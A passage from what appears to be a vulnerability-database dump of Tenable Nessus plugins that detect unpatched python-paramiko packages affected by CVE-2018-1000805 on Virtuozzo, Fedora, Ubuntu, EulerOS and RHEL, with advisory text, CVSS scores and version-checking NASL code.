thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Virtuozzo/release\", \"Host/Virtuozzo/rpm-list\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/Virtuozzo/release\");\nif (isnull(release) || \"Virtuozzo\" >!< release) audit(AUDIT_OS_NOT, \"Virtuozzo\");\nos_ver = pregmatch(pattern: \"Virtuozzo Linux release ([0-9]+\\.[0-9])(\\D|$)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Virtuozzo\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Virtuozzo 6.x\", \"Virtuozzo \" + os_ver);\n\nif (!get_kb_item(\"Host/Virtuozzo/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Virtuozzo\", cpu);\n\nflag = 0;\n\npkgs = [\"python-paramiko-1.7.5-5.vl6\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"Virtuozzo-6\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T10:22:08", "description": "Python Paramiko versions 2.3.2 and 2.4.1 are vulnerable to an\nauthentication bypass in `paramiko/auth_handler.py`. A remote attacker\ncould exploit this vulnerability in Paramiko SSH servers to execute\narbitrary code. Note that applications using Paramiko only as a client\n(such as ansible) are not affected by this.\n\nThere is also an additional fix preventing `MSG_UNIMPLEMENTED`\nfeedback loops that could manifest when both ends of a connection are\nParamiko-based.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 13, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-01-03T00:00:00", "title": "Fedora 29 : python-paramiko (2018-ea6b328afd)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2019-01-03T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:29", "p-cpe:/a:fedoraproject:fedora:python-paramiko"], "id": "FEDORA_2018-EA6B328AFD.NASL", "href": "https://www.tenable.com/plugins/nessus/120878", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2018-ea6b328afd.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(120878);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2018-1000805\");\n script_xref(name:\"FEDORA\", value:\"2018-ea6b328afd\");\n\n script_name(english:\"Fedora 29 : python-paramiko (2018-ea6b328afd)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Python Paramiko versions 2.3.2 and 2.4.1 are vulnerable to an\nauthentication bypass in `paramiko/auth_handler.py`. A remote attacker\ncould exploit this vulnerability in Paramiko SSH servers to execute\narbitrary code. Note that applications using Paramiko only as a client\n(such as ansible) are not affected by this.\n\nThere is also an additional fix preventing `MSG_UNIMPLEMENTED`\nfeedback loops that could manifest when both ends of a connection are\nParamiko-based.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2018-ea6b328afd\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python-paramiko package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:29\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/01/03\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^29([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 29\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC29\", reference:\"python-paramiko-2.4.2-1.fc29\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-09-18T10:57:24", "description": "USN-3796-1 fixed a vulnerability in Paramiko. This update provides the\ncorresponding update for Ubuntu 18.10.\n\nDaniel Hoffman discovered that Paramiko incorrectly handled\nauthentication when being used as a server. A remote attacker could\nuse this issue to bypass authentication without any credentials.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 19, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-10-23T00:00:00", "title": "Ubuntu 18.10 : Paramiko vulnerability (USN-3796-3)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2018-10-23T00:00:00", "cpe": ["p-cpe:/a:canonical:ubuntu_linux:python-paramiko", "cpe:/o:canonical:ubuntu_linux:18.10", "p-cpe:/a:canonical:ubuntu_linux:python3-paramiko"], "id": "UBUNTU_USN-3796-3.NASL", "href": "https://www.tenable.com/plugins/nessus/118326", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-3796-3. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118326);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/09/17\");\n\n script_cve_id(\"CVE-2018-1000805\");\n script_xref(name:\"USN\", value:\"3796-3\");\n\n script_name(english:\"Ubuntu 18.10 : Paramiko vulnerability (USN-3796-3)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"USN-3796-1 fixed a vulnerability in Paramiko. This update provides the\ncorresponding update for Ubuntu 18.10.\n\nDaniel Hoffman discovered that Paramiko incorrectly handled\nauthentication when being used as a server. A remote attacker could\nuse this issue to bypass authentication without any credentials.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/3796-3/\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Update the affected python-paramiko and / or python3-paramiko\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:python3-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.10\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/23\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2018-2020 Canonical, Inc. / NASL script (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(18\\.10)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 18.10\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"18.10\", pkgname:\"python-paramiko\", pkgver:\"2.4.1-0ubuntu3.1\")) flag++;\nif (ubuntu_check(osver:\"18.10\", pkgname:\"python3-paramiko\", pkgver:\"2.4.1-0ubuntu3.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko / python3-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T09:04:58", "description": "According to the version of the python-paramiko package installed,\nthe EulerOS Virtualization for ARM 64 installation on the remote host\nis affected by the following vulnerability :\n\n - Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8,\n 1.18.5, 1.17.6 contains a Incorrect Access Control\n vulnerability in SSH server that can result in RCE.\n This attack appear to be exploitable via network\n connectivity.(CVE-2018-1000805)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 4, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-06-25T00:00:00", "title": "EulerOS Virtualization for ARM 64 3.0.6.0 : python-paramiko (EulerOS-SA-2020-1703)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2020-06-25T00:00:00", "cpe": ["cpe:/o:huawei:euleros:uvp:3.0.6.0", "p-cpe:/a:huawei:euleros:python2-paramiko"], "id": "EULEROS_SA-2020-1703.NASL", "href": "https://www.tenable.com/plugins/nessus/137810", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(137810);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2018-1000805\"\n );\n\n script_name(english:\"EulerOS Virtualization for ARM 64 3.0.6.0 : python-paramiko (EulerOS-SA-2020-1703)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization for ARM 64 host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the python-paramiko package installed,\nthe EulerOS Virtualization for ARM 64 installation on the remote host\nis affected by the following vulnerability :\n\n - Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8,\n 1.18.5, 1.17.6 contains a Incorrect Access Control\n vulnerability in SSH server that can result in RCE.\n This attack appear to be exploitable via network\n connectivity.(CVE-2018-1000805)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1703\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?f4240310\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected python-paramiko package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python2-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.6.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.6.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.6.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"python2-paramiko-2.4.1-5.h1.eulerosv2r8\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-03-01T05:46:57", "description": "An update for python-paramiko is now available for Red Hat Enterprise\nLinux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe python-paramiko package provides a Python module that implements\nthe SSH2 protocol for encrypted and authenticated connections to\nremote machines. Unlike SSL, the SSH2 protocol does not require\nhierarchical certificates signed by a powerful central authority. The\nprotocol also includes the ability to open arbitrary channels to\nremote services across an encrypted tunnel.\n\nSecurity Fix(es) :\n\n* python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.", "edition": 25, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-10-31T00:00:00", "title": "RHEL 7 : python-paramiko (RHSA-2018:3347)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2021-03-02T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:python-paramiko-doc", "cpe:/o:redhat:enterprise_linux:7", "p-cpe:/a:redhat:enterprise_linux:python-paramiko", "cpe:/o:redhat:enterprise_linux:7.6"], "id": "REDHAT-RHSA-2018-3347.NASL", "href": "https://www.tenable.com/plugins/nessus/118543", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2018:3347. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118543);\n script_version(\"1.7\");\n script_cvs_date(\"Date: 2019/10/24 15:35:45\");\n\n script_cve_id(\"CVE-2018-1000805\");\n script_xref(name:\"RHSA\", value:\"2018:3347\");\n\n script_name(english:\"RHEL 7 : python-paramiko (RHSA-2018:3347)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for python-paramiko is now available for Red Hat Enterprise\nLinux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe python-paramiko package provides a Python module that implements\nthe SSH2 protocol for encrypted and authenticated connections to\nremote machines. Unlike SSL, the SSH2 protocol does not require\nhierarchical certificates signed by a powerful central authority. The\nprotocol also includes the ability to open arbitrary channels to\nremote services across an encrypted tunnel.\n\nSecurity Fix(es) :\n\n* python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2018:3347\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-1000805\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected python-paramiko and / or python-paramiko-doc\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:python-paramiko-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/31\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 7.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2018:3347\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL7\", reference:\"python-paramiko-2.1.1-9.el7\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", reference:\"python-paramiko-doc-2.1.1-9.el7\")) flag++;\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko / python-paramiko-doc\");\n }\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-09-18T10:57:24", "description": "Daniel Hoffman discovered that Paramiko incorrectly handled\nauthentication when being used as a server. A remote attacker could\nuse this issue to bypass authentication without any credentials.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 19, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-10-18T00:00:00", "title": "Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Paramiko vulnerability (USN-3796-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2018-10-18T00:00:00", "cpe": ["p-cpe:/a:canonical:ubuntu_linux:python-paramiko", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/o:canonical:ubuntu_linux:18.04:-:lts", "p-cpe:/a:canonical:ubuntu_linux:python3-paramiko", "cpe:/o:canonical:ubuntu_linux:14.04"], "id": "UBUNTU_USN-3796-1.NASL", "href": "https://www.tenable.com/plugins/nessus/118201", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-3796-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118201);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/09/17\");\n\n script_cve_id(\"CVE-2018-1000805\");\n script_xref(name:\"USN\", value:\"3796-1\");\n\n script_name(english:\"Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Paramiko vulnerability (USN-3796-1)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Daniel Hoffman discovered that Paramiko incorrectly handled\nauthentication when being used as a server. A remote attacker could\nuse this issue to bypass authentication without any credentials.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/3796-1/\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Update the affected python-paramiko and / or python3-paramiko\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", 